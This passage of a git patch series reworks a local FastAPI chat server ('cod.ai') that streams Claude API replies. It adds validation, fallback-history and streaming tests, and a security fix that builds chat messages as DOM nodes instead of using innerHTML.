str = "MODE_A_ARCHITECT" - specialist_slug: str = "holistic-web-architect" +def build_system_prompt(root: Path = WORKSPACE_ROOT) -> str: + """ + Builds the system prompt once at startup so it stays byte-identical for the + whole process: the base prompt plus the repository's CLAUDE.md and AGENTS.md. + Set `COD_PROJECT_CONTEXT=0` to leave the project files out. + """ + parts = [BASE_SYSTEM_PROMPT] + if _env_flag("COD_PROJECT_CONTEXT", True): + for name in ("CLAUDE.md", "AGENTS.md"): + path = root / name + if path.is_file(): + text = path.read_text(encoding="utf-8").strip() + parts.append(f'\n{text}\n') + return "\n\n".join(parts) + + +SYSTEM_PROMPT = build_system_prompt() + +_client: anthropic.AsyncAnthropic | None = None + + +def get_client() -> anthropic.AsyncAnthropic: + global _client + if _client is None: + _client = anthropic.AsyncAnthropic() + return _client + + +class ChatMessage(BaseModel): + role: Literal["user", "assistant"] + content: str | list[dict[str, Any]] + + @field_validator("content") + @classmethod + def _not_empty(cls, value: str | list[dict[str, Any]]) -> str | list[dict[str, Any]]: + if isinstance(value, str) and not value.strip(): + raise ValueError("message content is empty") + if isinstance(value, list): + if not value: + raise ValueError("message content is empty") + if any(not isinstance(block.get("type"), str) for block in value): + raise ValueError("every content block needs a string 'type'") + return value + + +class ChatRequest(BaseModel): + model: str = DEFAULT_MODEL + effort: Literal["low", "medium", "high", "xhigh", "max"] | None = None + thinking_display: Literal["summarized", "omitted"] = "summarized" + messages: list[ChatMessage] = Field(min_length=1, max_length=MAX_MESSAGES) + + @field_validator("model") + @classmethod + def _known_model(cls, value: str) -> str: + if value not in MODELS: + raise ValueError(f"unsupported model {value!r}") + return value + + @model_validator(mode="after") + def _well_formed_history(self) -> "ChatRequest": + if self.messages[0].role != "user": + raise ValueError("the conversation must start with a user message") + if self.messages[-1].role != "user": + raise ValueError("the conversation must end with a user message") + size = len(json.dumps([m.model_dump() for m in self.messages])) + if size > MAX_REQUEST_CHARS: + raise ValueError(f"conversation is too large ({size} characters)") + return self + + +def build_request_params(req: ChatRequest, use_fallbacks: bool) -> dict[str, Any]: + params: dict[str, Any] = { + "model": req.model, + "max_tokens": MAX_OUTPUT_TOKENS, + "system": SYSTEM_PROMPT, + "messages": [m.model_dump() for m in req.messages], + "thinking": {"type": "adaptive", "display": req.thinking_display}, + "output_config": {"effort": req.effort or MODELS[req.model]["default_effort"]}, + # Automatic caching: the breakpoint rolls forward to the newest block each + # turn, so the system prompt and earlier history are read from cache. + "cache_control": {"type": "ephemeral"}, + } + if use_fallbacks and MODELS[req.model]["fallbacks"]: + params["betas"] = [FALLBACK_BETA] + params["fallbacks"] = "default" + return params + + +def history_content(content: list[dict[str, Any]]) -> list[dict[str, Any]]: + """ + Returns the assistant content to echo back on the next turn. After a + mid-output fallback, only text survives from the blocks before the last + `fallback` marker; the marker itself is dropped. Everything else is kept + unchanged so thinking blocks stay valid. + """ + last_fallback = max((i for i, b in enumerate(content) if b.get("type") == "fallback"), default=-1) + kept: list[dict[str, Any]] = [] + for i, block in enumerate(content): + if i < last_fallback and block.get("type") != "text": + continue + if i == last_fallback: + continue + kept.append(block) + return kept + + +def _sse(event: str, data: dict[str, Any]) -> str: + return f"event: {event}\ndata: {json.dumps(data, ensure_ascii=False)}\n\n" + + +async def stream_chat_events(client: anthropic.AsyncAnthropic, params: dict[str, Any]) -> AsyncIterator[str]: + """ + Streams one turn as SSE events: `start`, `block` (a new content block), + `delta` (thinking or text), then `done` with the final message, or `error`. + """ + try: + async with client.beta.messages.stream(**params) as stream: + async for event in stream: + if event.type == "message_start": + yield _sse("start", {"model": event.message.model}) + elif event.type == "content_block_start": + block = event.content_block.to_dict() + # Deltas carry the text; send the block's type and metadata only. + block.pop("text", None) + block.pop("thinking", None) + yield _sse("block", {"index": event.index, "block": block}) + elif event.type == "content_block_delta": + if event.delta.type == "text_delta": + yield _sse("delta", {"index": event.index, "kind": "text", "text": event.delta.text}) + elif event.delta.type == "thinking_delta": + yield _sse("delta", {"index": event.index, "kind": "thinking", "text": event.delta.thinking}) + final = await stream.get_final_message() + + content = [block.to_dict() for block in final.content] + refused = final.stop_reason == "refusal" + yield _sse("done", { + "model": final.model, + "stop_reason": final.stop_reason, + "stop_details": final.stop_details.to_dict() if refused and final.stop_details else None, + # A refused turn is discarded rather than echoed back. + "history": None if refused else history_content(content), + "usage": final.usage.to_dict(), + }) + except anthropic.APIStatusError as exc: + body = exc.body if isinstance(exc.body, dict) else {} + error = body.get("error") if isinstance(body.get("error"), dict) else {} + yield _sse("error", {"status": exc.status_code, "message": error.get("message") or exc.message}) + except anthropic.APIConnectionError: + yield _sse("error", {"status": None, "message": "Could not reach the Claude API. Check the network or ANTHROPIC_BASE_URL."}) + except anthropic.AnthropicError as exc: + # Raised before any request is sent, e.g. when no credentials are configured. + yield _sse("error", {"status": None, "message": str(exc)}) + + +app = FastAPI(title="cod.ai web chat", version="0.2.0") @app.get("/", response_class=HTMLResponse) -def serve_claude_web_gui() -> HTMLResponse: - if WEB_INDEX_PATH.exists(): +def serve_index() -> HTMLResponse: + if WEB_INDEX_PATH.is_file(): return HTMLResponse(WEB_INDEX_PATH.read_text(encoding="utf-8")) - return HTMLResponse("

cod.ai Web GUI not found

", status_code=404) + return HTMLResponse("

cod.ai web GUI not found

", status_code=404) -@app.post("/api/endpoint/configure") -def configure_custom_endpoint(cfg: EndpointConfigPayload) -> JSONResponse: - if cfg.api_key: - vault_proxy.register_secret("CUSTOM_ENDPOINT_API_KEY", cfg.api_key) - # Add target host to allowlist - host = cfg.base_url.split("//")[-1].split("/")[0].split(":")[0].lower() - if host: - vault_proxy.allowlisted_hosts.add(host) - check = vault_proxy.inspect_and_inject_outbound_request(cfg.base_url) - return JSONResponse({ - "status": "ok", - "allowlisted": check.allowed, - "target_url": cfg.base_url, - "wire_protocol": cfg.wire_protocol, - "model": cfg.model, - "vault_sealed": bool(cfg.api_key), - }) - - -@app.post("/api/chat/assemble") -def assemble_three_layer_turn(turn: ChatTurnPayload) -> JSONResponse: - assembler = ThreeLayerCacheAssembler( - model=turn.model, - system_prompt=f"You are cod.ai operating in {turn.polarity_mode}.", - layer2_project_context="# CLAUDE.md\nPreserve 3-layer prefix cache.", - ) - assembler.append_user_message( - turn.prompt, - system_reminders=[f"Active Specialist: {turn.specialist_slug} | Effort: {turn.effort}"], - ) - req = assembler.assemble_request() - return JSONResponse({ - "model": req.model, - "layer1_hash": req.layer1_hash, - "layer2_hash": req.layer2_hash, - "layer1_tokens": req.layer1_tokens, - "layer2_tokens": req.layer2_tokens, - "layer3_tokens": req.layer3_tokens, - "breakpoint_count": req.breakpoint_count, - "output_config": {"effort": turn.effort}, - "thinking": {"type": "adaptive", "display": turn.thinking_display}, - }) - - -@app.get("/api/telemetry") -def get_live_telemetry() -> dict[str, Any]: - snap = telemetry_engine.run_skill_doctor( - session_id="sess_web_opus_5_5", - model="claude-opus-5-5", - active_tokens=185_000, - context_window=1_000_000, - cache_read_tokens=480_000, - cache_write_tokens=45_000, - cache_rebilled_usd=0.0, - tokens_before_compact=760_000, - tokens_after_compact=190_000, - retrieved_items=["cache_assembler.py", "ttl_scheduler.py"], - relevant_items={"cache_assembler.py", "ttl_scheduler.py"}, - ) +@app.get("/api/config") +def get_config() -> dict[str, Any]: return { - "session_id": snap.session_id, - "model": snap.model, - "context_utilization_pct": snap.context_utilization_pct, - "cache_hit_rate_pct": snap.cache_hit_rate_pct, - "cache_rebilled_usd": snap.cache_rebilled_usd, - "compression_ratio": snap.compression_ratio, - "retrieval_precision_pct": snap.retrieval_precision_pct, + "default_model": DEFAULT_MODEL, + "models": [{"id": model_id, **info} for model_id, info in MODELS.items()], + "effort_levels": list(EFFORT_LEVELS), + "thinking_displays": list(THINKING_DISPLAYS), + "project_context": SYSTEM_PROMPT != BASE_SYSTEM_PROMPT, } + + +@app.post("/api/chat") +def chat(req: ChatRequest, client: anthropic.AsyncAnthropic = Depends(get_client)) -> StreamingResponse: + params = build_request_params(req, use_fallbacks=_env_flag("COD_FALLBACKS", True)) + return StreamingResponse( + stream_chat_events(client, params), + media_type="text/event-stream", + headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"}, + ) + + +def run(host: str = "127.0.0.1", port: int = 8642) -> None: + import uvicorn + + uvicorn.run(app, host=host, port=port) + + +if __name__ == "__main__": + run() diff --git a/tests/test_cod_ai_full_suite.py b/tests/test_cod_ai_full_suite.py index 941a509..cf6021b 100755 --- a/tests/test_cod_ai_full_suite.py +++ b/tests/test_cod_ai_full_suite.py @@ -471,43 +471,5 @@ class TestPhase5ContainmentAndSecurityClassifier(unittest.TestCase): self.assertIn("`/skill doctor`", md) - - def test_phase6_claude_web_opus_5_5_gui_and_endpoint_studio(self) -> None: - import importlib.util - spec = importlib.util.spec_from_file_location("web_server", str(WORKSPACE / "src" / "web_server.py")) - ws = importlib.util.module_from_spec(spec) - spec.loader.exec_module(ws) - EndpointConfigPayload, ChatTurnPayload, configure_custom_endpoint, assemble_three_layer_turn = ws.EndpointConfigPayload, ws.ChatTurnPayload, ws.configure_custom_endpoint, ws.assemble_three_layer_turn - import json - gui_path = WORKSPACE / "web" / "index.html" - self.assertTrue(gui_path.exists()) - html = gui_path.read_text(encoding="utf-8") - # Verify Claude Web Opus 5.5 design tokens & controls - for token in ["#faf9f5", "#181715", "#cc785c", "claude-opus-5-5", "modal-endpoint-studio", "select-effort", "select-thinking-display"]: - self.assertIn(token, html) - - # Verify custom endpoint configuration API - ep_resp = configure_custom_endpoint(EndpointConfigPayload( - base_url="https://llm.heretek.one/v1/messages", - wire_protocol="anthropic-messages", - model="claude-opus-5-5", - api_key="hk-test-key-123456789", - )) - ep_data = json.loads(ep_resp.body.decode("utf-8")) - self.assertTrue(ep_data["allowlisted"]) - self.assertTrue(ep_data["vault_sealed"]) - - # Verify 3-layer chat turn assembly via web server - turn_resp = assemble_three_layer_turn(ChatTurnPayload( - prompt="Architect a new microservice", - model="claude-opus-5-5", - effort="xhigh", - thinking_display="summarized", - )) - turn_data = json.loads(turn_resp.body.decode("utf-8")) - self.assertEqual(turn_data["output_config"]["effort"], "xhigh") - self.assertEqual(turn_data["thinking"]["type"], "adaptive") - - if __name__ == "__main__": unittest.main(verbosity=2) diff --git a/tests/test_web_server.py b/tests/test_web_server.py new file mode 100644 index 0000000..c07a5b8 --- /dev/null +++ b/tests/test_web_server.py @@ -0,0 +1,228 @@ +"""Tests for the cod.ai web chat server (`src/web_server.py`), run against a fake Anthropic client.""" +import json +from pathlib import Path +import sys +from types import SimpleNamespace +import unittest + +WORKSPACE = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(WORKSPACE)) + +import anthropic +import httpx2 +from anthropic.types.beta import BetaMessage +from fastapi.testclient import TestClient + +from src import web_server + + +def make_message(content, stop_reason="end_turn", stop_details=None, model="claude-opus-5-5"): + return BetaMessage.model_validate({ + "id": "msg_test", + "type": "message", + "role": "assistant", + "model": model, + "content": content, + "stop_reason": stop_reason, + "stop_sequence": None, + "stop_details": stop_details, + "usage": {"input_tokens": 12, "output_tokens": 7, "cache_read_input_tokens": 900}, + }) + + +def stream_events(message): + """Raw stream events for a message: start, then each block with one delta.""" + yield SimpleNamespace(type="message_start", message=SimpleNamespace(model=message.model)) + for index, block in enumerate(message.content): + yield SimpleNamespace(type="content_block_start", index=index, content_block=block) + if block.type == "text": + yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="text_delta", text=block.text)) + elif block.type == "thinking": + yield SimpleNamespace(type="content_block_delta", index=index, delta=SimpleNamespace(type="thinking_delta", thinking=block.thinking)) + + +class FakeStream: + def __init__(self, message): + self._message = message + + async def __aenter__(self): + return self + + async def __aexit__(self, *exc): + return False + + async def __aiter__(self): + for event in stream_events(self._message): + yield event + + async def get_final_message(self): + return self._message + + +class FakeClient: + def __init__(self, message=None, error=None): + self.calls = [] + self._message = message + self._error = error + self.beta = SimpleNamespace(messages=SimpleNamespace(stream=self._stream)) + + def _stream(self, **params): + self.calls.append(params) + if self._error: + raise self._error + return FakeStream(self._message) + + +def parse_sse(body): + events = [] + for raw in body.strip().split("\n\n"): + lines = raw.split("\n") + event = lines[0].removeprefix("event: ") + data = json.loads(lines[1].removeprefix("data: ")) + events.append((event, data)) + return events + + +class WebServerTests(unittest.TestCase): + def setUp(self): + self.http = TestClient(web_server.app) + + def tearDown(self): + web_server.app.dependency_overrides.clear() + + def use(self, fake): + web_server.app.dependency_overrides[web_server.get_client] = lambda: fake + return fake + + def chat(self, **body): + body.setdefault("messages", [{"role": "user", "content": "Hello"}]) + return self.http.post("/api/chat", json=body) + + def test_serves_gui_and_config(self): + page = self.http.get("/") + self.assertEqual(page.status_code, 200) + self.assertIn('id="composer"', page.text) + self.assertNotIn("x-api-key", page.text) + + cfg = self.http.get("/api/config").json() + self.assertEqual(cfg["default_model"], "claude-opus-5-5") + self.assertIn("claude-opus-5-5", [m["id"] for m in cfg["models"]]) + self.assertEqual(cfg["effort_levels"], ["low", "medium", "high", "xhigh", "max"]) + + def test_streams_thinking_and_text_then_final_history(self): + fake = self.use(FakeClient(make_message([ + {"type": "thinking", "thinking": "Considering.", "signature": "sig-1"}, + {"type": "text", "text": "Hi there."}, + ]))) + resp = self.chat(effort="high", thinking_display="summarized") + self.assertEqual(resp.status_code, 200) + self.assertTrue(resp.headers["content-type"].startswith("text/event-stream")) + + events = parse_sse(resp.text) + names = [e for e, _ in events] + self.assertEqual(names, ["start", "block", "delta", "block", "delta", "done"]) + self.assertEqual(events[2][1], {"index": 0, "kind": "thinking", "text": "Considering."}) + self.assertEqual(events[4][1], {"index": 1, "kind": "text", "text": "Hi there."}) + # Block starts carry the type but not the text, which arrives as deltas. + self.assertEqual(events[1][1]["block"]["type"], "thinking") + self.assertNotIn("thinking", events[1][1]["block"]) + + done = events[-1][1] + self.assertEqual(done["stop_reason"], "end_turn") + self.assertEqual(done["usage"]["cache_read_input_tokens"], 900) + # Thinking blocks are echoed back unchanged, signature included. + self.assertEqual(done["history"][0], {"type": "thinking", "thinking": "Considering.", "signature": "sig-1"}) + + params = fake.calls[0] + self.assertEqual(params["model"], "claude-opus-5-5") + self.assertEqual(params["thinking"], {"type": "adaptive", "display": "summarized"}) + self.assertEqual(params["output_config"], {"effort": "high"}) + self.assertEqual(params["cache_control"], {"type": "ephemeral"}) + self.assertEqual(params["fallbacks"], "default") + self.assertEqual(params["betas"], [web_server.FALLBACK_BETA]) + self.assertEqual(params["system"], web_server.SYSTEM_PROMPT) + + def test_default_effort_follows_model(self): + fake = self.use(FakeClient(make_message([{"type": "text", "text": "ok"}], model="claude-haiku-5-5"))) + self.chat(model="claude-haiku-5-5") + params = fake.calls[0] + self.assertEqual(params["output_config"], {"effort": "medium"}) + # Claude Haiku 5.5 has no server-side fallback. + self.assertNotIn("fallbacks", params) + self.assertNotIn("betas", params) + + def test_multi_turn_history_is_forwarded_verbatim(self): + fake = self.use(FakeClient(make_message([{"type": "text", "text": "Second answer"}]))) + history = [ + {"role": "user", "content": "First"}, + {"role": "assistant", "content": [ + {"type": "thinking", "thinking": "", "signature": "sig-a"}, + {"type": "text", "text": "First answer"}, + ]}, + {"role": "user", "content": "Second"}, + ] + self.assertEqual(self.chat(messages=history).status_code, 200) + self.assertEqual(fake.calls[0]["messages"], history) + + def test_refusal_is_not_echoed_back(self): + self.use(FakeClient(make_message( + [{"type": "text", "text": "Partial"}], + stop_reason="refusal", + stop_details={"type": "refusal", "category": "cyber"}, + ))) + done = parse_sse(self.chat().text)[-1] + self.assertEqual(done[0], "done") + self.assertEqual(done[1]["stop_reason"], "refusal") + self.assertEqual(done[1]["stop_details"]["category"], "cyber") + self.assertIsNone(done[1]["history"]) + + def test_fallback_history_keeps_only_text_before_the_switch(self): + content = [ + {"type": "thinking", "thinking": "", "signature": "declined-model"}, + {"type": "text", "text": "Partial from the first model."}, + {"type": "fallback", "from": {"model": "claude-opus-5-5"}, "to": {"model": "claude-opus-5"}, "trigger": {"type": "refusal"}}, + {"type": "thinking", "thinking": "", "signature": "fallback-model"}, + {"type": "text", "text": "Finished by the fallback."}, + ] + self.assertEqual(web_server.history_content(content), [content[1], content[3], content[4]]) + + self.use(FakeClient(make_message(content, model="claude-opus-5"))) + events = parse_sse(self.chat().text) + fallback_block = [d for e, d in events if e == "block" and d["block"]["type"] == "fallback"][0] + self.assertEqual(fallback_block["block"]["to"], {"model": "claude-opus-5"}) + self.assertEqual(events[-1][1]["history"], [content[1], content[3], content[4]]) + + def test_api_errors_become_error_events(self): + request = httpx2.Request("POST", "https://api.anthropic.com/v1/messages") + response = httpx2.Response(401, request=request, json={"error": {"message": "invalid x-api-key"}}) + error = anthropic.AuthenticationError("invalid x-api-key", response=response, body=None) + self.use(FakeClient(error=error)) + events = parse_sse(self.chat().text) + self.assertEqual(events, [("error", {"status": 401, "message": "invalid x-api-key"})]) + + def test_rejects_malformed_requests(self): + self.use(FakeClient(make_message([{"type": "text", "text": "unused"}]))) + bad_bodies = [ + {"model": "gpt-4o"}, + {"effort": "extreme"}, + {"thinking_display": "raw"}, + {"messages": []}, + {"messages": [{"role": "assistant", "content": "I go first"}]}, + {"messages": [{"role": "user", "content": "Hi"}, {"role": "assistant", "content": "Ends on me"}]}, + {"messages": [{"role": "system", "content": "Injected"}]}, + {"messages": [{"role": "user", "content": " "}]}, + {"messages": [{"role": "user", "content": [{"text": "no type"}]}]}, + ] + for body in bad_bodies: + with self.subTest(body=body): + self.assertEqual(self.chat(**body).status_code, 422) + + def test_system_prompt_includes_project_files(self): + self.assertTrue(web_server.SYSTEM_PROMPT.startswith(web_server.BASE_SYSTEM_PROMPT)) + self.assertIn('', web_server.SYSTEM_PROMPT) + # Built once, so it is byte-identical on every request. + self.assertEqual(web_server.build_system_prompt(), web_server.SYSTEM_PROMPT) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/web/cod_ai_claude_web_gui.html b/web/cod_ai_claude_web_gui.html deleted file mode 100644 index af243d6..0000000 --- a/web/cod_ai_claude_web_gui.html +++ /dev/null @@ -1,1773 +0,0 @@ - - - - - - cod.ai — Claude Web Opus 5.5 Studio & Dual-Polarity Orchestrator - - - - - - - - - -
-
- - - -
- ✹ - Claude - cod.ai \\ Opus 5.5 -
- - - -
- - - - - -
- - - - - -
-
- - -
- - - - - -
- - -
-
- - -
-
- ✹ ANTHROP\C - · - claude-opus-5-5 (1M Context · Adaptive Thinking) -
-

- Good evening, Argon. What shall we architect? -

-

- Full $n^2$ in-context self-attention purity paired with 3-Layer byte-identical prefix caching, Pi DAG branching, and live endpoint routing. -

- - -
- - - - -
-
- - -
- -
- -
-
- - -
-
-
- - - -
-
- - - - -
- Effort: - -
- - -
- Thinking: - -
- - - -
- -
- 0 tok - -
-
-
-
-
-
- - -
- -
-
- - - - -
- - -
- - -
- -
-
- <antArtifact> - -
- -
- - - - -
-
- - -
-
- ● 1.Outline - → - ● 2.Section-Gen - → - ● 3.Review - → - ● 4.Zero-Truncation Verified -
- 142 lines · 0 placeholders -
- - -
-

-        
- - - -
- - - - - - - - - -
- -
- - - - - - - - - - - - - \ No newline at end of file diff --git a/web/index.html b/web/index.html index af243d6..88b5738 100644 --- a/web/index.html +++ b/web/index.html @@ -1,1773 +1,782 @@ - - + + - - cod.ai — Claude Web Opus 5.5 Studio & Dual-Polarity Orchestrator - + + cod.ai chat - + - + + - -
-
- +
+
+ +
New chat
+ +
- -
- ✹ - Claude - cod.ai \\ Opus 5.5 +
+
+

What are we building?

+

Replies stream from the Claude API through the local cod.ai server.

- - - +
- -
- -
- - - - - -
-
- - -
- - - - - -
- - -
-
- - -
-
- ✹ ANTHROP\C - · - claude-opus-5-5 (1M Context · Adaptive Thinking) -
-

- Good evening, Argon. What shall we architect? -

-

- Full $n^2$ in-context self-attention purity paired with 3-Layer byte-identical prefix caching, Pi DAG branching, and live endpoint routing. -

- - -
- - - - -
-
- - -
- -
- -
-
- - -
-
-
- - - -
-
- - - - -
- Effort: - -
- - -
- Thinking: - -
- - - -
- -
- 0 tok - -
-
-
-
-
-
- - -
- -
-
- - - - -
- - -
- - -
- -
-
- <antArtifact> - -
- -
- - - - -
-
- - -
-
- ● 1.Outline - → - ● 2.Section-Gen - → - ● 3.Review - → - ● 4.Zero-Truncation Verified -
- 142 lines · 0 placeholders -
- - -
-

-        
- - - -
- - - - - - - - - -
- -
- - - - - - - - - +
- \ No newline at end of file + From 25e3d4e9825470ed99c5070b22330b0496b3ec13 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 16:29:59 +0000 Subject: [PATCH 2/7] Build chat messages as DOM nodes instead of innerHTML Model output was escaped before being assigned to innerHTML, but the page no longer relies on a hand-rolled escaper: Markdown is rendered with createElement/textContent, and link targets must parse as http(s) URLs. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- web/index.html | 150 ++++++++++++++++++++++++++++++++----------------- 1 file changed, 100 insertions(+), 50 deletions(-) diff --git a/web/index.html b/web/index.html index 88b5738..3ec2b9a 100644 --- a/web/index.html +++ b/web/index.html @@ -336,38 +336,75 @@ // ---------- rendering ---------- - function escapeHtml(s) { - return s.replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); + // Everything below builds DOM nodes and sets text with textContent, so + // model output is never parsed as HTML. + function h(tag, className, text) { + var node = document.createElement(tag); + if (className) node.className = className; + if (text != null) node.textContent = text; + return node; } - function renderInline(text) { - var parts = text.split(/(`[^`\n]+`)/g); - return parts.map(function (part) { - if (/^`[^`\n]+`$/.test(part)) return "" + escapeHtml(part.slice(1, -1)) + ""; - var s = escapeHtml(part); - s = s.replace(/\[([^\]]+)\]\((https?:\/\/[^\s)]+)\)/g, function (_, label, url) { - return '' + label + ""; - }); - s = s.replace(/\*\*([^*]+)\*\*/g, "$1"); - s = s.replace(/(^|[^*])\*([^*\s][^*]*)\*/g, "$1$2"); - return s; - }).join(""); + function safeHttpUrl(raw) { + try { + var url = new URL(raw); + return url.protocol === "http:" || url.protocol === "https:" ? url.href : null; + } catch (e) { + return null; + } } - // A small, escape-first Markdown renderer: fenced code, headings, lists, - // paragraphs, inline code, bold, italics and http(s) links. No raw HTML. - function renderMarkdown(src) { + var INLINE = /`([^`\n]+)`|\[([^\]]+)\]\((https?:\/\/[^\s)]+)\)|\*\*([^*]+)\*\*|\*([^*\s][^*]*)\*/g; + + // Appends inline Markdown (code, links, bold, italics) to a parent node. + function appendInline(parent, text) { + var last = 0; + var m; + INLINE.lastIndex = 0; + while ((m = INLINE.exec(text))) { + if (m.index > last) parent.appendChild(document.createTextNode(text.slice(last, m.index))); + if (m[1] != null) { + parent.appendChild(h("code", null, m[1])); + } else if (m[2] != null) { + var href = safeHttpUrl(m[3]); + if (href) { + var a = h("a", null, m[2]); + a.href = href; + a.target = "_blank"; + a.rel = "noopener noreferrer"; + parent.appendChild(a); + } else { + parent.appendChild(document.createTextNode(m[0])); + } + } else if (m[4] != null) { + parent.appendChild(h("strong", null, m[4])); + } else { + parent.appendChild(h("em", null, m[5])); + } + last = INLINE.lastIndex; + } + if (last < text.length) parent.appendChild(document.createTextNode(text.slice(last))); + } + + // A small Markdown renderer: fenced code, headings, lists, paragraphs and + // the inline forms above. Raw HTML in the source stays literal text. + function appendMarkdown(parent, src) { var lines = src.replace(/\r\n/g, "\n").split("\n"); - var html = []; var para = []; var list = null; function flushPara() { - if (para.length) html.push("

" + para.map(renderInline).join("
") + "

"); + if (!para.length) return; + var p = h("p"); + para.forEach(function (line, idx) { + if (idx) p.appendChild(h("br")); + appendInline(p, line); + }); + parent.appendChild(p); para = []; } function flushList() { - if (list) html.push("<" + list.tag + ">" + list.items.map(function (i) { return "
  • " + renderInline(i) + "
  • "; }).join("") + ""); + if (list) parent.appendChild(list.node); list = null; } @@ -379,14 +416,15 @@ var code = []; i++; while (i < lines.length && !/^\s*```\s*$/.test(lines[i])) { code.push(lines[i]); i++; } - html.push(codeBlockHtml(fence[1], code.join("\n"))); + parent.appendChild(codeBlock(fence[1], code.join("\n"))); continue; } var heading = line.match(/^(#{1,4})\s+(.*)$/); if (heading) { flushPara(); flushList(); - var level = heading[1].length + 1; - html.push("" + renderInline(heading[2]) + ""); + var hn = h("h" + (heading[1].length + 1)); + appendInline(hn, heading[2]); + parent.appendChild(hn); continue; } var bullet = line.match(/^\s*[-*+]\s+(.*)$/); @@ -394,8 +432,10 @@ if (bullet || numbered) { flushPara(); var tag = bullet ? "ul" : "ol"; - if (!list || list.tag !== tag) { flushList(); list = { tag: tag, items: [] }; } - list.items.push((bullet || numbered)[1]); + if (!list || list.tag !== tag) { flushList(); list = { tag: tag, node: h(tag) }; } + var li = h("li"); + appendInline(li, (bullet || numbered)[1]); + list.node.appendChild(li); continue; } if (!line.trim()) { flushPara(); flushList(); continue; } @@ -403,12 +443,21 @@ para.push(line); } flushPara(); flushList(); - return html.join(""); } - function codeBlockHtml(lang, code) { - return '
    ' + escapeHtml(lang || "code") + - '
    ' + escapeHtml(code) + "
    "; + function codeBlock(lang, code) { + var wrap = h("div", "code-block"); + var bar = h("div", "bar"); + bar.appendChild(h("span", null, lang || "code")); + var copy = h("button", null, "Copy"); + copy.type = "button"; + copy.setAttribute("data-copy", ""); + bar.appendChild(copy); + var pre = h("pre"); + pre.appendChild(h("code", null, code)); + wrap.appendChild(bar); + wrap.appendChild(pre); + return wrap; } function fmt(n) { return (n || 0).toLocaleString(); } @@ -422,34 +471,35 @@ return parts.filter(Boolean).join(" · "); } - function renderAssistant(t) { - var html = []; + function appendAssistant(div, t) { + function notice(text, extra) { div.appendChild(h("div", "notice" + (extra ? " " + extra : ""), text)); } t.blocks.forEach(function (b) { if (b.type === "thinking") { if (!b.text) { - if (t.status === "streaming") html.push('
    Thinking…
    '); + if (t.status === "streaming") notice("Thinking…"); return; } - html.push('
    Thinking
    " + escapeHtml(b.text) + "
    "); + var details = h("details", "thinking"); + if (t.status === "streaming") details.open = true; + details.appendChild(h("summary", null, "Thinking")); + details.appendChild(h("div", "body", b.text)); + div.appendChild(details); } else if (b.type === "text") { - html.push(renderMarkdown(b.text)); + appendMarkdown(div, b.text); } else if (b.type === "fallback") { - html.push('
    ' + escapeHtml(b.from) + " declined; continuing on " + escapeHtml(b.to) + ".
    "); + notice(b.from + " declined; continuing on " + b.to + "."); } }); - if (t.status === "streaming" && !t.blocks.length) html.push('
    Waiting for Claude…
    '); - if (t.status === "stopped") html.push('
    Stopped. This reply is left out of the conversation.
    '); + if (t.status === "streaming" && !t.blocks.length) notice("Waiting for Claude…"); + if (t.status === "stopped") notice("Stopped. This reply is left out of the conversation."); if (t.status === "refused") { - html.push('
    Claude declined this request' + - (t.refusalCategory ? " (" + escapeHtml(t.refusalCategory) + ")" : "") + - ". It is left out of the conversation, so you can rephrase and try again.
    "); + notice("Claude declined this request" + (t.refusalCategory ? " (" + t.refusalCategory + ")" : "") + + ". It is left out of the conversation, so you can rephrase and try again.", "error"); } - if (t.status === "error") html.push('
    ' + escapeHtml(t.error || "Request failed.") + "
    "); - if (t.status === "done" && t.stopReason === "max_tokens") html.push('
    The reply hit the output token limit.
    '); + if (t.status === "error") notice(t.error || "Request failed.", "error"); + if (t.status === "done" && t.stopReason === "max_tokens") notice("The reply hit the output token limit."); var meta = usageLine(t); - if (meta) html.push('
    ' + escapeHtml(meta) + "
    "); - return html.join(""); + if (meta) div.appendChild(h("div", "meta", meta)); } function renderTurn(t) { @@ -459,7 +509,7 @@ div.textContent = t.text; } else { div.className = "msg-assistant" + (t.status === "streaming" ? " cursor" : ""); - div.innerHTML = renderAssistant(t); + appendAssistant(div, t); } div.dataset.turn = t.key; return div; @@ -472,7 +522,7 @@ function renderMessages() { var conv = activeConversation(); - el.messages.innerHTML = ""; + el.messages.replaceChildren(); el.empty.style.display = conv && conv.turns.length ? "none" : ""; el.title.textContent = conv ? conv.title : "New chat"; if (!conv) return; @@ -483,7 +533,7 @@ } function renderList() { - el.list.innerHTML = ""; + el.list.replaceChildren(); conversations.forEach(function (c) { var item = document.createElement("div"); item.className = "conv-item" + (c.id === activeId ? " active" : ""); @@ -534,14 +584,14 @@ // ---------- settings ---------- function populateSelectors() { - el.model.innerHTML = ""; + el.model.replaceChildren(); config.models.forEach(function (m) { var o = document.createElement("option"); o.value = m.id; o.textContent = m.label; el.model.appendChild(o); }); - el.effort.innerHTML = ""; + el.effort.replaceChildren(); config.effort_levels.forEach(function (e) { var o = document.createElement("option"); o.value = e; From c09fc7d44b2c99206655039f3b6a86316a9eefe4 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 16:33:46 +0000 Subject: [PATCH 3/7] Address review findings on the web chat server - Keep the last fallback marker in echoed history, so the blocks on both sides of a mid-output fallback stay in their original shape. - Report failures that happen before a request is sent (the SDK raises TypeError when no credentials are configured) as a generic SSE error. The details go to the server log, not the browser. - `cod serve` refuses non-loopback hosts unless --allow-remote is passed, because the chat API has no authentication. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- DESIGN.md | 2 +- README.md | 1 + src/cli.py | 17 +++++++++++++++++ src/web_server.py | 23 ++++++++++++++++------- tests/test_web_server.py | 12 ++++++++++-- 5 files changed, 45 insertions(+), 10 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index 4a533d3..f404864 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -28,7 +28,7 @@ The API key never reaches the browser. The SDK resolves credentials on the serve The history is append-only, which keeps the prompt cache warm and keeps thinking blocks valid. - Assistant content is echoed back exactly as the API returned it, thinking signatures included. -- After a mid-output fallback, blocks before the last `fallback` marker are reduced to their text, and the marker is dropped. +- After a 